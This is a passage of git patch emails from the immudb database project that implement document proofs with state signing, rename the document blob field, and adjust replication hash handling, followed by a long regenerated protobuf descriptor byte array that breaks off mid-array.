-// TODO: implement func (s *ImmuServer) DocumentProof(ctx context.Context, req *documentschema.DocumentProofRequest) (*documentschema.DocumentProofResponse, error) { - _, err := s.getDBFromCtx(ctx, "DocumentProof") + db, err := s.getDBFromCtx(ctx, "DocumentProof") + if err != nil { + return nil, err + } + + res, err := db.DocumentProof(ctx, req) if err != nil { return nil, err } - return nil, nil + + if s.StateSigner != nil { + hdr := schema.TxHeaderFromProto(res.VerifiableTx.DualProof.TargetTxHeader) + alh := hdr.Alh() + + newState := &schema.ImmutableState{ + Db: db.GetName(), + TxId: hdr.ID, + TxHash: alh[:], + } + + err = s.StateSigner.Sign(newState) + if err != nil { + return nil, err + } + + res.VerifiableTx.Signature = newState.Signature + } + + return res, nil } func (s *ImmuServer) CollectionUpdate(ctx context.Context, req *documentschema.CollectionUpdateRequest) (*documentschema.CollectionUpdateResponse, error) { From 76b21da6765dc52b94021a6fe89324a4c49389ae Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sun, 9 Apr 2023 12:30:57 -0300 Subject: [PATCH 0409/1062] chore(pkg/database): use _obj to hold raw document payload Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 27 +++++++++++++-------------- embedded/document/engine_test.go | 2 +- pkg/database/document_database.go | 4 ++-- 3 files changed, 16 insertions(+), 17 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index c04b29f037..8f109c98e7 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -27,9 +27,8 @@ import ( ) const ( - // Default fields for document store - defaultDocumentIDField = "_id" - defaultDocumentBLOBField = "_obj" + DocumentIDField = "_id" + DocumentBLOBField = "_doc" ) // Schema to ValueType mapping @@ -107,7 +106,7 @@ var ( // transform value type based on column name transformTypedValue = func(colName string, value sql.TypedValue) sql.TypedValue { switch colName { - case defaultDocumentIDField: + case DocumentIDField: docID := NewDocumentIDFromBytes(value.RawValue().([]byte)) return sql.NewVarchar(docID.Hex()) } @@ -141,15 +140,15 @@ type Engine struct { } func (e *Engine) CreateCollection(ctx context.Context, collectionName string, idxKeys map[string]sql.SQLValueType) error { - primaryKeys := []string{defaultDocumentIDField} + primaryKeys := []string{DocumentIDField} indexKeys := make([]string, 0) columns := make([]*sql.ColSpec, 0) // add primary key for document id - columns = append(columns, sql.NewColSpec(defaultDocumentIDField, sql.BLOBType, 32, false, true)) + columns = append(columns, sql.NewColSpec(DocumentIDField, sql.BLOBType, 32, false, true)) // add columnn for blob, which stores the document as a whole - columns = append(columns, sql.NewColSpec(defaultDocumentBLOBField, sql.BLOBType, 0, false, false)) + columns = append(columns, sql.NewColSpec(DocumentBLOBField, sql.BLOBType, 0, false, false)) // add index keys for name, schType := range idxKeys { @@ -219,7 +218,7 @@ func (e *Engine) CreateDocument(ctx context.Context, collectionName string, doc } // check if document id is already present - _, ok := doc.Fields[defaultDocumentIDField] + _, ok := doc.Fields[DocumentIDField] if ok { return NilDocumentID, 0, fmt.Errorf("_id field is not allowed to be set") } @@ -231,10 +230,10 @@ func (e *Engine) CreateDocument(ctx context.Context, collectionName string, doc values := make([]sql.ValueExp, 0) for _, col := range tcolumns { switch col.Name() { - case defaultDocumentIDField: + case DocumentIDField: // add document id to document values = append(values, sql.NewBlob(docID[:])) - case defaultDocumentBLOBField: + case DocumentBLOBField: document, err := NewDocumentFrom(doc) if err != nil { return NilDocumentID, 0, err @@ -449,7 +448,7 @@ func (e *Engine) getKeyForDocument(ctx context.Context, tx *sql.SQLTx, collectio valbuf := bytes.Buffer{} for _, col := range table.PrimaryIndex().Cols() { - if col.Name() == defaultDocumentIDField { + if col.Name() == DocumentIDField { rval := sql.NewBlob(documentID[:]) encVal, err := sql.EncodeRawValueAsKey(rval.RawValue(), col.Type(), col.MaxLen()) if err != nil { @@ -531,7 +530,7 @@ func (e *Engine) DocumentAudit(ctx context.Context, collectionName string, docum return nil, err } - if col.Name() == defaultDocumentBLOBField { + if col.Name() == DocumentBLOBField { res.Value = val.RawValue().([]byte) break } @@ -626,10 +625,10 @@ func (e *Engine) UpdateDocument(ctx context.Context, collectionName string, docI collectionName, sql.NewCmpBoolExp( sql.EQ, - sql.NewColSelector(collectionName, defaultDocumentIDField, ""), + sql.NewColSelector(collectionName, DocumentIDField, ""), sql.NewBlob(docID[:]), ), - sql.NewColUpdate(defaultDocumentBLOBField, sql.EQ, sql.NewBlob(res))), + sql.NewColUpdate(DocumentBLOBField, sql.EQ, sql.NewBlob(res))), }, nil, ) diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index e1ffcc1f16..610b91c4b8 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -524,7 +524,7 @@ func TestDocumentUpdate(t *testing.T) { // check if data is updated doc := docs[0] data := map[string]interface{}{} - err = json.Unmarshal([]byte(doc.Fields["_obj"].GetStringValue()), &data) + err = json.Unmarshal([]byte(doc.Fields[DocumentBLOBField].GetStringValue()), &data) require.NoError(t, err) require.Equal(t, "value2", data["data"].(map[string]interface{})["key1"]) } diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index 3d3082f1bd..ffa7bdd955 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -20,7 +20,7 @@ var ( } ) -// DocumentDatabase is the interface for object database +// DocumentDatabase is the interface for document database type DocumentDatabase interface { // GetCollection returns the collection schema GetCollection(ctx context.Context, req *schemav2.CollectionGetRequest) (*schemav2.CollectionGetResponse, error) @@ -204,7 +204,7 @@ func (d *db) DocumentAudit(ctx context.Context, req *schemav2.DocumentAuditReque Revision: log.Revision, Value: &structpb.Struct{ Fields: map[string]*structpb.Value{ - "_obj": { + document.DocumentBLOBField: { Kind: &structpb.Value_StringValue{StringValue: string(log.Value)}, }, }, From 17fc46db9cd43ce4f5ad9dc56af8a3d686905f81 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 10 Apr 2023 07:53:35 -0300 Subject: [PATCH 0410/1062] chore(pkg/database): proper calculation of source tx Signed-off-by: Jeronimo Irazabal --- pkg/database/document_database.go | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index ffa7bdd955..f9d4a4bf0b 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -259,17 +259,20 @@ func (d *db) DocumentProof(ctx context.Context, req *schemav2.DocumentProofReque var sourceHdr, targetHdr *store.TxHeader + if req.LastValidatedTransactionId == 0 { + req.LastValidatedTransactionId = 1 + } + + lastValidatedHdr, err := d.st.ReadTxHeader(req.LastValidatedTransactionId, false, false) + if err != nil { + return nil, err + } + if tx.Header().ID < req.LastValidatedTransactionId { sourceHdr = tx.Header() - targetHdr, err = d.st.ReadTxHeader(req.LastValidatedTransactionId, false, false) - if err != nil { - return nil, err - } + targetHdr = lastValidatedHdr } else { - sourceHdr, err = d.st.ReadTxHeader(req.LastValidatedTransactionId, false, false) - if err != nil { - return nil, err - } + sourceHdr = lastValidatedHdr targetHdr = tx.Header() } From 3c9ef11f877f74a05d093f3f11b1104e31f52e79 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 10 Apr 2023 23:18:03 -0300 Subject: [PATCH 0411/1062] chore(pkg/database): document verfication Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 4 +- embedded/document/engine_test.go | 2 +- embedded/store/immustore.go | 6 +- embedded/store/ongoing_tx.go | 8 +- embedded/store/verification.go | 9 +- pkg/api/documentschema/docs.md | 1 + pkg/api/documentschema/documentschema.pb.go | 472 +++++++++--------- pkg/api/documentschema/documentschema.proto | 3 +- .../documentschema.swagger.json | 4 + pkg/api/schema/database_protoconv.go | 9 + pkg/database/document_database.go | 3 +- pkg/database/document_database_test.go | 6 +- pkg/database/meta.go | 2 +- 13 files changed, 282 insertions(+), 247 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 8f109c98e7..d7044c0fa6 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -145,7 +145,7 @@ func (e *Engine) CreateCollection(ctx context.Context, collectionName string, id columns := make([]*sql.ColSpec, 0) // add primary key for document id - columns = append(columns, sql.NewColSpec(DocumentIDField, sql.BLOBType, 32, false, true)) + columns = append(columns, sql.NewColSpec(DocumentIDField, sql.BLOBType, 16, false, true)) // add columnn for blob, which stores the document as a whole columns = append(columns, sql.NewColSpec(DocumentBLOBField, sql.BLOBType, 0, false, false)) @@ -422,7 +422,7 @@ func (e *Engine) GetDocuments(ctx context.Context, collectionName string, querie for i := range colDescriptors { colName := colDescriptors[i].Column switch colName { - case defaultDocumentIDField, defaultDocumentBLOBField: + case DocumentIDField, DocumentBLOBField: tv := row.ValuesByPosition[i] transformedTV := transformTypedValue(colName, tv) vtype, err := valueTypeToFieldValue(transformedTV) diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 610b91c4b8..387383fcc5 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -582,7 +582,7 @@ func TestFloatSupport(t *testing.T) { // retrieve document doc := docs[0] data := map[string]interface{}{} - err = json.Unmarshal([]byte(doc.Fields["_obj"].GetStringValue()), &data) + err = json.Unmarshal([]byte(doc.Fields[DocumentBLOBField].GetStringValue()), &data) require.NoError(t, err) require.Equal(t, 3.1, data["number"]) } diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index daa52f58d8..72211e341e 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -1180,8 +1180,8 @@ func (s *ImmuStore) precommit(ctx context.Context, otx *OngoingTx, hdr *TxHeader txe.setKey(e.Key) txe.md = e.Metadata txe.vLen = len(e.Value) - if e.isValueTruncated { - txe.hVal = e.hashValue + if e.IsValueTruncated { + txe.hVal = e.HashValue } else { txe.hVal = sha256.Sum256(e.Value) } @@ -2358,7 +2358,7 @@ func (s *ImmuStore) ReplicateTx(ctx context.Context, exportedTx []byte, skipInte if isTruncated { err = txSpec.set(e.Key, e.Metadata, nil, byte32(e.Value), isTruncated) } else { - err = txSpec.set(e.Key, e.Metadata, e.Value, e.hashValue, isTruncated) + err = txSpec.set(e.Key, e.Metadata, e.Value, e.HashValue, isTruncated) } if err != nil { return nil, err diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index 4f97960a92..6e34fd0c46 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -75,10 +75,10 @@ type EntrySpec struct { // hashValue is the hash of the value // if the actual value is truncated. This is // used during replication. - hashValue [sha256.Size]byte + HashValue [sha256.Size]byte // isValueTruncated is true if the value is // truncated. This is used during replication. - isValueTruncated bool + IsValueTruncated bool } func newOngoingTx(ctx context.Context, s *ImmuStore, opts *TxOptions) (*OngoingTx, error) { @@ -237,8 +237,8 @@ func (tx *OngoingTx) set(key []byte, md *KVMetadata, value []byte, hashValue [sh Key: key, Metadata: md, Value: value, - hashValue: hashValue, - isValueTruncated: isValueTruncated, + HashValue: hashValue, + IsValueTruncated: isValueTruncated, } if isKeyUpdate { diff --git a/embedded/store/verification.go b/embedded/store/verification.go index 07b7f48f55..233d7eb9e5 100644 --- a/embedded/store/verification.go +++ b/embedded/store/verification.go @@ -291,7 +291,14 @@ func EntrySpecDigest_v1(kv *EntrySpec) [sha256.Size]byte { copy(b[i:], kv.Key) i += len(kv.Key) - hvalue := sha256.Sum256(kv.Value) + var hvalue [sha256.Size]byte + + if kv.IsValueTruncated { + hvalue = kv.HashValue + } else { + hvalue = sha256.Sum256(kv.Value) + } + copy(b[i:], hvalue[:]) i += sha256.Size diff --git a/pkg/api/documentschema/docs.md b/pkg/api/documentschema/docs.md index 10c5d52cd5..b088752f48 100644 --- a/pkg/api/documentschema/docs.md +++ b/pkg/api/documentschema/docs.md @@ -368,6 +368,7 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | collectionId | [uint32](#uint32) | | | +| rawEncodedValue | [bytes](#bytes) | | | | verifiableTx | [immudb.schema.VerifiableTxV2](#immudb.schema.VerifiableTxV2) | | | diff --git a/pkg/api/documentschema/documentschema.pb.go b/pkg/api/documentschema/documentschema.pb.go index 392539723d..6e34e01937 100644 --- a/pkg/api/documentschema/documentschema.pb.go +++ b/pkg/api/documentschema/documentschema.pb.go @@ -767,8 +767,9 @@ type DocumentProofResponse struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - CollectionId uint32 `protobuf:"varint,1,opt,name=collectionId,proto3" json:"collectionId,omitempty"` - VerifiableTx *schema.VerifiableTxV2 `protobuf:"bytes,2,opt,name=verifiableTx,proto3" json:"verifiableTx,omitempty"` + CollectionId uint32 `protobuf:"varint,1,opt,name=collectionId,proto3" json:"collectionId,omitempty"` + RawEncodedValue []byte `protobuf:"bytes,2,opt,name=rawEncodedValue,proto3" json:"rawEncodedValue,omitempty"` + VerifiableTx *schema.VerifiableTxV2 `protobuf:"bytes,3,opt,name=verifiableTx,proto3" json:"verifiableTx,omitempty"` } func (x *DocumentProofResponse) Reset() { @@ -810,6 +811,13 @@ func (x *DocumentProofResponse) GetCollectionId() uint32 { return 0 } +func (x *DocumentProofResponse) GetRawEncodedValue() []byte { + if x != nil { + return x.RawEncodedValue + } + return nil +} + func (x *DocumentProofResponse) GetVerifiableTx() *schema.VerifiableTxV2 { if x != nil { return x.VerifiableTx @@ -1702,55 +1710,79 @@ var file_documentschema_proto_rawDesc = []byte{ 0x6c, 0x69, 0x64, 0x61, 0x74, 0x65, 0x64, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x1a, 0x6c, 0x61, 0x73, 0x74, 0x56, 0x61, 0x6c, 0x69, 0x64, 0x61, 0x74, 0x65, 0x64, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x22, 0x7e, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, - 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x49, 0x64, 0x12, 0x41, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, - 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x56, 0x32, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x84, 0x01, 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, - 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, - 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, - 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, - 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x04, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, 0xa7, 0x01, - 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e, 0x0a, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, - 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x07, - 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, - 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, - 0x72, 0x50, 0x61, 0x67, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, - 0x4c, 0x65, 0x66, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, - 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x22, 0x80, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, - 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, - 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, - 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, - 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1a, - 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, - 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x5f, 0x0a, 0x0b, 0x49, 0x6e, - 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x34, 0x0a, 0x04, 0x74, 0x79, 0x70, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x12, - 0x1a, 0x0a, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x22, 0xec, 0x01, 0x0a, 0x17, - 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x5b, 0x0a, 0x09, 0x69, - 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3d, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x49, + 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x22, 0xa8, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x28, 0x0a, 0x0f, 0x72, 0x61, 0x77, 0x45, 0x6e, 0x63, 0x6f, 0x64, + 0x65, 0x64, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x72, + 0x61, 0x77, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x41, + 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, + 0x78, 0x56, 0x32, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, + 0x78, 0x22, 0x84, 0x01, 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, + 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, + 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, + 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, 0xa7, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x12, 0x3e, 0x0a, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, + 0x74, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, + 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, + 0x12, 0x20, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, + 0x66, 0x74, 0x22, 0x80, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, + 0x75, 0x64, 0x69, 0x74, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, + 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, + 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, + 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x5f, 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, + 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x34, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0e, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, + 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x69, 0x73, + 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x69, 0x73, + 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x22, 0xec, 0x01, 0x0a, 0x17, 0x43, 